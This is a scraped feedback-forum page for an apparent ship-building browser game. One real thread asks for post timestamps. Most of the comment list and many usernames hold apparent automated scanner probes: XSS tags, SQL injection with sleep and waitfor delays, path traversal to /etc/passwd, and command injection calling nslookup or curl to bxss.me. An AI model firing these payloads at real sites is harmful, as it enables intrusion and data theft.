Feedback

Posting times of feedback and feedback comments by BeyPokéDig - 154 months ago

Maybe I'm just blind, but I don't see any dates anywhere! This could be a problem in the future. I already don't know when you responded to "Facebook and Youtube achievements" problem thread by rprebel, so I don't know if you fixed it yesterday or last week. (Apparently it's slightly broken again.) I think that showing the time of posting is a must.

• Erik

  Thanks for that! We're probably going to add another section for "Fixed" issues too

• BeyPokéDig

  Well, "Solved issues" and "X minutes/hours/days ago" are now added - good job! :) But comments still need dates, and dates instead of/along with "X days ago" would be nice.

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1B0Xq5YaGYO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999694+9999977}

• 1lBn7S5yeO

  1

• ${9999583+9999251}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1

• WfxYANoW

  ../1

• WfxYANoW

  echo rpxijs$()\ lfndua\nz^xyu||a #' &echo rpxijs$()\ lfndua\nz^xyu||a #|" &echo rpxijs$()\ lfndua\nz^xyu||a #

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  &echo zxeryq$()\ aphykf\nz^xyu||a #' &echo zxeryq$()\ aphykf\nz^xyu||a #|" &echo zxeryq$()\ aphykf\nz^xyu||a #

• WfxYANoW

  1&echo nzqlwe$()\ xdmtwf\nz^xyu||a #' &echo nzqlwe$()\ xdmtwf\nz^xyu||a #|" &echo nzqlwe$()\ xdmtwf\nz^xyu||a #

• WfxYANoW

  |echo cajfto$()\ meavzs\nz^xyu||a #' |echo cajfto$()\ meavzs\nz^xyu||a #|" |echo cajfto$()\ meavzs\nz^xyu||a #

• file:///etc/passwd

  1

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1

• WfxYANoW

  response.write(9132946*9767474)

• Anonymous

  1

• ../WfxYANoW

  1

• WfxYANoW

  '+response.write(9132946*9767474)+'

• WfxYANoW

  A4tMAErH

• WfxYANoW

  "+response.write(9132946*9767474)+"

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1|echo crfepi$()\ yjxhbr\nz^xyu||a #' |echo crfepi$()\ yjxhbr\nz^xyu||a #|" |echo crfepi$()\ yjxhbr\nz^xyu||a #

• WfxYANoW

  0rX54FZo: dcBaviVu

• SUzQtAWL

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  (nslookup -q=cname hitrnktjvfikw9f22a.bxss.me||curl hitrnktjvfikw9f22a.bxss.me))

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• JROdf0IZ: U8iUlKb3

  1

• WfxYANoW

  $(nslookup -q=cname hitnwgsirezxdefa39.bxss.me||curl hitnwgsirezxdefa39.bxss.me)

• response.write(9692558*9619997)

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1&n956283=v906492

• Zm9KTmxDOHI=

  1

• WfxYANoW

  &nslookup -q=cname hitnjpfdeymla9e2fa.bxss.me&'\"`0&nslookup -q=cname hitnjpfdeymla9e2fa.bxss.me&`'

• WfxYANoW

  &(nslookup -q=cname hitfxwyoibofh4c27c.bxss.me||curl hitfxwyoibofh4c27c.bxss.me)&'\"`0&(nslookup -q=cname hitfxwyoibofh4c27c.bxss.me||curl hitfxwyoibofh4c27c.bxss.me)&`'

• WfxYANoW

  )

• WfxYANoW

  bxss.me

• '+response.write(9692558*9619997)+'

  1

• WfxYANoW&n935908=v907429

  1

• "+response.write(9692558*9619997)+"

  1

• WfxYANoW

  |(nslookup -q=cname hitlifwbxwffg19930.bxss.me||curl hitlifwbxwffg19930.bxss.me)

• WfxYANoW

  !(()&&!|*|*|

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  '.gethostbyname(lc('hitjp'.'ahvqomhz5faa1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(74).chr(119).chr(77).'

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• Http://bxss.me/t/fit.txt

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ".gethostbyname(lc("hitag"."ztmcoyopc4640.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(88).chr(107).chr(65)."

• WfxYANoW

  ';print(md5(31337));$a='

• /etc/shells

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  `(nslookup -q=cname hitwsgpwsrgoz430f7.bxss.me||curl hitwsgpwsrgoz430f7.bxss.me)`

• )

  1

• WfxYANoW

  ${@print(md5(31337))}

• !(()&&!|*|*|

  1

• WfxYANoW

  1

• WfxYANoW

  ;(nslookup -q=cname hitdtmloysllncf286.bxss.me||curl hitdtmloysllncf286.bxss.me)|(nslookup -q=cname hitdtmloysllncf286.bxss.me||curl hitdtmloysllncf286.bxss.me)&(nslookup -q=cname hitdtmloysllncf286.bxss.me||curl hitdtmloysllncf286.bxss.me)

• c:/windows/win.ini

  1

• ^(#$!@#$)(()))******

  1

• bxss.me

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitmscuhfyubpa34a9.bxss.me||curl${IFS}hitmscuhfyubpa34a9.bxss.me)

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  '"

• WfxYANoW

  gethostbyname(lc('hitik'.'ipapleog80975.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(87).chr(118).chr(72)

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitbpocxpyardd6839.bxss.me||curl${IFS}hitbpocxpyardd6839.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbpocxpyardd6839.bxss.me||curl${IFS}hitbpocxpyardd6839.bxss.me)&`'

• WfxYANoW

  <!--

• ';print(md5(31337));$a='

  1

• '"

  1

• WfxYANoW

  1

• ";print(md5(31337));$a="

  1

• <!--

  1

• xfs.bxss.me

  1

• WfxYANoW

  '"()

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• ${@print(md5(31337))}

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >tw3p(9929)</ScRiPt>

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(110).concat(84).concat(113).concat(83)+(require"socket" Socket.gethostbyname("hitba"+"djkeverpdc968.bxss.me.")[3].to_s)+"

• WfxYANoW

  1'&&sleep(27*1000)*fjjzai&&'

• WfxYANoW

  bxss.me/t/xss.html?%00

• ${@print(md5(31337))}\

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >tw3p(9773)</ScRiPt>

• WfxYANoW

  1"&&sleep(27*1000)*qcjskh&&"

• HttP://bxss.me/t/xss.html?%00

  1

• '.print(md5(31337)).'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  1'||sleep(27*1000)*rvjmgs||'

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(105).concat(75).concat(108).concat(71)+(require'socket' Socket.gethostbyname('hitck'+'uahgmahe50f14.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment

• WfxYANoW

  1"||sleep(27*1000)*whvcqq||"

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(107).concat(71).concat(116).concat(89)+(require'socket' Socket.gethostbyname('hitzj'+'bnvxqynx7bf72.bxss.me.')[3].to_s)

• WfxYANoW

  comment

• WfxYANoW

  1

• WfxYANoW

  19228304

• WfxYANoW

  comment/.

• comment

  1

• '"()

  1

• comment

  1

• WfxYANoW

  bfg2592＜s1﹥s2ʺs3ʹhjl2592

• WfxYANoW'&&sleep(27*1000)*wqijeb&&'

  1

• comment/.

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW"&&sleep(27*1000)*cbyktz&&"

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW'||sleep(27*1000)*vyltuc||'

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW"||sleep(27*1000)*vtqnrq||"

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  1

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >tw3p(9931)</ScRiPt>

• WfxYANoW

  1<WSNPF5>IBXUC[!+!]</WSNPF5>

• WfxYANoW

  1<script>tw3p(9491)</script>

• WfxYANoW

  1<script>tw3p(9534)</script>9534

• WfxYANoW

  1<ScR<ScRiPt>IpT>tw3p(9556)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >tw3p(9314)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9736></ScRiPt>

• WfxYANoW

  1<ScRiPt >tw3p(9086)</ScRiPt>

• WfxYANoW

  1gPHelG1n

• WfxYANoW

  1<isindex type=image src=1 onerror=tw3p(9588)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9909'>

• WfxYANoW

  1<body onload=tw3p(9433)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=tw3p(9177)>

• WfxYANoW

  1<img src=xyz OnErRor=tw3p(9062)>

• WfxYANoW

  1<img/src=">" onerror=alert(9754)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%74%77%33%70%289186%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\tw3p(9889)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;tw3p(9122)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=tw3p(9397)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1

• WfxYANoW

  1}body{zzz:Expre/**/SSion(tw3p(9338))}

• WfxYANoW

  -1 OR 2+729-729-1=0+0+0+1 --

• WfxYANoW

  1t3E8t <ScRiPt >tw3p(9672)</ScRiPt>

• WfxYANoW

  1<WFTDW1>EOONW[!+!]</WFTDW1>

• WfxYANoW

  1<ifRAme sRc=9635.com></IfRamE>

• WfxYANoW

  -1 OR 2+127-127-1=0+0+0+1

• WfxYANoW

  -1' OR 2+951-951-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+212-212-1=0+0+0+1 or 'j6AsEUje'='

• WfxYANoW

  1<aud2D8t x=9459>

• WfxYANoW

  -1" OR 2+30-30-1=0+0+0+1 --

• WfxYANoW

  1<img sRc='http://attacker-9068/log.php?

• WfxYANoW

  1<aJnxLwq<

• WfxYANoW'"()&%<zzz><ScRiPt >tw3p(9092)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >tw3p(9364)</ScRiPt>

  1

• WfxYANoW9306556

  1

• bfg8404＜s1﹥s2ʺs3ʹhjl8404

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >tw3p(9491)</ScRiPt>

  1

• WfxYANoW<W97FIT>07BEK[!+!]</W97FIT>

  1

• WfxYANoW<script>tw3p(9172)</script>

  1

• WfxYANoW<script>tw3p(9361)</script>9361

  1

• WfxYANoW<ScRiPt >tw3p(9949)</ScRiPt>

  1

• WfxYANoW<ScRiPt >tw3p(9915)</ScRiPt>

  1

• WfxYANoW<body onload=tw3p(9158)>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<img src=xyz OnErRor=tw3p(9381)>

  1

• WfxYANoW<img/src=">" onerror=alert(9290)>

  1

• WfxYANoW\u003CScRiPt\tw3p(9280)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;tw3p(9866)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=tw3p(9116)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(tw3p(9629))}

  1

• WfxYANoW1hG2k <ScRiPt >tw3p(9857)</ScRiPt>

  1

• WfxYANoW<WV4VSW>3DFQ0[!+!]</WV4VSW>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ifRAme sRc=9587.com></IfRamE>

  1

• WfxYANoW<amelk1y x=9162>

  1

• WfxYANoW<img sRc='http://attacker-9983/log.php?

  1

• WfxYANoW<apuXJeB<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1rdWXXHIC'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 207=(SELECT 207 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 193=(SELECT 193 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 912=(SELECT 912 FROM PG_SLEEP(15))--

• WfxYANoW

  1qfrvKxFG' OR 830=(SELECT 830 FROM PG_SLEEP(15))--

• WfxYANoW

  1dq3tnbNA') OR 574=(SELECT 574 FROM PG_SLEEP(15))--

• WfxYANoW

  1bYiF8yFz')) OR 117=(SELECT 117 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@Bb9xT

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW1bcswLSg

  1

• WfxYANoW

  1

• -1 OR 2+757-757-1=0+0+0+1 --

  1

• -1 OR 2+233-233-1=0+0+0+1

  1

• -1' OR 2+978-978-1=0+0+0+1 --

  1

• -1' OR 2+52-52-1=0+0+0+1 or 'ecXY29e9'='

  1

• -1" OR 2+990-990-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW00fVhxTy'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@iiSd3

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• @@hVbR8

  1

• esoiwqad

  1

• hofobmhc

  response.write(9192986*9683689)

• hofobmhc

  '+response.write(9192986*9683689)+'

• yupqbrfo

  1

• hofobmhc

  "+response.write(9192986*9683689)+"

• yupqbrfo

  1

• cckadcaw

  set|set&set

• response.write(9113581*9839752)

  1

• yupqbrfo

  lj2ZlGuB

• cckadcaw

  $(nslookup VBqEVjgm)

• '+response.write(9113581*9839752)+'

  1

• yupqbrfo

  -1 OR 2+399-399-1=0+0+0+1 --

• cckadcaw

  &nslookup CVZBD3iv&'\"`0&nslookup CVZBD3iv&`'

• "+response.write(9113581*9839752)+"

  1

• yupqbrfo

  -1 OR 2+580-580-1=0+0+0+1

• set|set&set

  1

• gfnywwte

  8gEtpGJT

• otrcudik

  ../../../../../../../../../../etc/passwd

• yupqbrfo

  -1' OR 2+359-359-1=0+0+0+1 --

• $(nslookup RmlQGjq5)

  1

• GgbFdHcQ

  1

• otrcudik

  ../../../../../../../../../../../../../../../proc/version

• yupqbrfo

  -1' OR 2+946-946-1=0+0+0+1 or 'sxPrX79e'='

• fwqketgf

  1

• &nslookup arxhDdMH&'\"`0&nslookup arxhDdMH&`'

  1

• qqngejna

  ${10000045+9999156}

• otrcudik

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• yupqbrfo

  -1" OR 2+238-238-1=0+0+0+1 --

• bivtxejh

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ${9999847+10000385}

  1

• otrcudik

  ../../../../../../../../../../etc/passwd.jpg

• yupqbrfo

  if(now()=sysdate(),sleep(7),0)/*'XOR(if(now()=sysdate(),sleep(7),0))OR'"XOR(if(now()=sysdate(),sleep(7),0))OR"*/

• ZUNBYmtyUWo=

  1

• bivtxejh

  1some_inexistent_file_with_long_name.jpg

• rdvmvdum

  1&n912427=v999835

• otrcudik

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• yupqbrfo

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• dcbvabxh

  )

• bivtxejh

  Http://testasp.vulnweb.com/t/fit.txt

• otrcudik

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• yupqbrfo

  -1; waitfor delay '0:0:10' --

• dcbvabxh

  !(()&&!|*|*|

• fwqketgf

  1

• bivtxejh

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• lgsehyon&n986568=v978909

  1

• otrcudik

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• yupqbrfo

  -1); waitfor delay '0:0:10' --

• dcbvabxh

  ^(#$!@#$)(()))******

• Anonymous

  1

• bivtxejh

  testasp.vulnweb.com

• skfvcviy

  '"()

• otrcudik

  /etc/passwd

• yupqbrfo

  1 waitfor delay '0:0:10' --

• )

  1

• mjyjflso

  ;print(md5(acunetix_wvs_security_test));

• otrcudik

  %2fetc%2fpasswd

• yupqbrfo

  lyfmPTbk'; waitfor delay '0:0:3' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• '"()

  1

• mjyjflso

  ';print(md5(acunetix_wvs_security_test));$a='

• otrcudik

  /.././.././.././.././.././.././.././../etc/./passwd%00

• yupqbrfo

  uo3jJC3Y'; waitfor delay '0:0:0' --

• ^(#$!@#$)(()))******

  1

• xgpsmwqs

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• Http://testasp.vulnweb.com/t/fit.txt

  1

• yxroddmm

  1

• mjyjflso

  ";print(md5(acunetix_wvs_security_test));$a="

• otrcudik

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• yupqbrfo

  -1;select pg_sleep(3); --

• iiqwfoxw

  http://hitS5OTWkTUFE.bxss.me/

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• yxroddmm

  comment

• mjyjflso

  ${@print(md5(acunetix_wvs_security_test))}

• otrcudik

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• yupqbrfo

  -1;select pg_sleep(7); --

• http://hitv1iHxaXLru.bxss.me/

  1

• testasp.vulnweb.com

  1

• fbmxfgbh

  1

• yxroddmm

  comment

• mjyjflso

  ${@print(md5(acunetix_wvs_security_test))}\

• yupqbrfo

  -1);select pg_sleep(3); --

• oktgoviq

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• yklcwgyh

  /www.vulnweb.com

• fbmxfgbh

  1'"

• yxroddmm

  comment/.

• ;print(md5(acunetix_wvs_security_test));

  1

• otrcudik

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• yupqbrfo

  -1);select pg_sleep(10); --

• /www.vulnweb.com

  1

• fbmxfgbh

  \

• yxroddmm

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• otrcudik

  file:///etc/passwd

• yupqbrfo

  -1));select pg_sleep(7); --

• mlhnaxtx

  '"

• hgyckmxt

  1'"()&%<acx><ScRiPt >kwyy(9089)</ScRiPt>

• comment

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• otrcudik

  /\../\../\../\../\../\../\../etc/passwd

• yupqbrfo

  w21KqtS1';select pg_sleep(7); --

• mlhnaxtx

  <!--

• fbmxfgbh

  @@ZL9En

• comment

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• otrcudik

  WEB-INF/web.xml

• yupqbrfo

  f8LKbd1B');select pg_sleep(7); --

• '"

  1

• hgyckmxt

  '"()&%<acx><ScRiPt >kwyy(9430)</ScRiPt>

• fbmxfgbh

  JyI=

• comment/.

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• otrcudik

  /WEB-INF/web.xml

• yupqbrfo

  8FSq1zmV'));select pg_sleep(10); --

• <!--

  1

• otrcudik

  WEB-INF\web.xml

• yupqbrfo

  1

• hgyckmxt

  1_9997

• ../../../../../../../../../../etc/passwd

  1

• yupqbrfo

  1

• fbmxfgbh

  (select convert(int,CHAR(65)))

• RTWI9Msa

  1

• hgyckmxt

  acu8583＜s1﹥s2ʺs3ʹuca8583

• fbmxfgbh

  1

• -1 OR 2+485-485-1=0+0+0+1 --

  1

• 1'"

  1

• -1 OR 2+758-758-1=0+0+0+1

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• \

  1

• -1' OR 2+287-287-1=0+0+0+1 --

  1

• -1' OR 2+250-250-1=0+0+0+1 or 'CtYkwisF'='

  1

• hgyckmxt

  {{9999205*9999329}}

• @@TmUYG

  1

• -1" OR 2+376-376-1=0+0+0+1 --

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• JyI=

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• hgyckmxt

  1<ScRiPt >kwyy(9674)</ScRiPt>

• 1 waitfor delay '0:0:5' --

  1

• (select convert(int,CHAR(65)))

  1

• o0n2u0G2'; waitfor delay '0:0:5' --

  1

• hgyckmxt

  1<WNYZMY>ZUFV3[!+!]</WNYZMY>

• eKJlPZE6';select pg_sleep(10); --

  1

• ltWtqVjj');select pg_sleep(10); --

  1

• hgyckmxt

  1<script>kwyy(9365)</script>

• yga7ywIp'));select pg_sleep(10); --

  1

• file:///etc/passwd

  1

• hgyckmxt

  1<ScR<ScRiPt>IpT>kwyy(9787)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• hgyckmxt

  1<ScRiPt >kwyy(9840)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• hgyckmxt

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9718></ScRiPt>

• hgyckmxt

  1<ScRiPt >kwyy(9295)</ScRiPt>

• hgyckmxt

  1<video><source onerror="javascript:kwyy(9832)">

• hgyckmxt

  1<isindex type=image src=1 onerror=kwyy(9033)>

• hgyckmxt

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9042'>

• hgyckmxt

  1<body onload=kwyy(9253)>

• hgyckmxt

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=kwyy(9612)>

• hgyckmxt

  1<img src=xyz OnErRor=kwyy(9363)>

• hgyckmxt

  1<img/src=">" onerror=alert(9527)>

• hgyckmxt

  %31%3C%53%63%52%69%50%74%20%3E%6B%77%79%79%289662%29%3C%2F%73%43%72%69%70%54%3E

• hgyckmxt

  1\u003CScRiPt\kwyy(9705)\u003C/sCripT\u003E

• hgyckmxt

  1&lt;ScRiPt&gt;kwyy(9074)&lt;/sCripT&gt;

• hgyckmxt

  1<input autofocus onfocus=kwyy(9035)>

• hgyckmxt

  <a HrEF=http://www.vulnweb.com></a>

• hgyckmxt

  <a HrEF=jaVaScRiPT:>

• hgyckmxt

  [url=http://www.vulnweb.com][/url]

• hgyckmxt

  1<img<!-- --> src=x onerror=alert(9646);//><!-- -->

• hgyckmxt

  1}body{acu:Expre/**/SSion(kwyy(9044))}

• hgyckmxt

  1<% contenteditable onresize=kwyy(9913)>

• hgyckmxt

  1_uxq1O <ScRiPt >kwyy(9425)</ScRiPt>

• hgyckmxt

  1<WVIF13>43UQZ[!+!]</WVIF13>

• hgyckmxt

  1<ifRAme sRc=9206.com></IfRamE>

• hgyckmxt

  1<MV3v5s x=9861>

• hgyckmxt

  1<img sRc='http://attacker-9505/log.php?

• hgyckmxt'"()&%<acx><ScRiPt >kwyy(9319)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >kwyy(9673)</ScRiPt>

  1

• hgyckmxt_9148

  1

• acu8530＜s1﹥s2ʺs3ʹuca8530

  1

• {{9999564*10000119}}

  1

• hgyckmxt<ScRiPt >kwyy(9039)</ScRiPt>

  1

• hgyckmxt<WF77M0>TEWG7[!+!]</WF77M0>

  1

• hgyckmxt<script>kwyy(9666)</script>

  1

• hgyckmxt<ScRiPt >kwyy(9845)</ScRiPt>

  1

• hgyckmxt<ScRiPt >kwyy(9837)</ScRiPt>

  1

• hgyckmxt<body onload=kwyy(9116)>

  1

• hgyckmxt<img src=xyz OnErRor=kwyy(9243)>

  1

• hgyckmxt<img/src=">" onerror=alert(9944)>

  1

• hgyckmxt\u003CScRiPt\kwyy(9127)\u003C/sCripT\u003E

  1

• hgyckmxt&lt;ScRiPt&gt;kwyy(9245)&lt;/sCripT&gt;

  1

• hgyckmxt<input autofocus onfocus=kwyy(9589)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• hgyckmxt}body{acu:Expre/**/SSion(kwyy(9389))}

  1

• hgyckmxt<% contenteditable onresize=kwyy(9681)>

  1

• hgyckmxt_zNsyt <ScRiPt >kwyy(9007)</ScRiPt>

  1

• hgyckmxt<WDMNP1>WHTY3[!+!]</WDMNP1>

  1

• hgyckmxt<ifRAme sRc=9836.com></IfRamE>

  1

• hgyckmxt<9H1rKI x=9694>

  1

• hgyckmxt<img sRc='http://attacker-9813/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

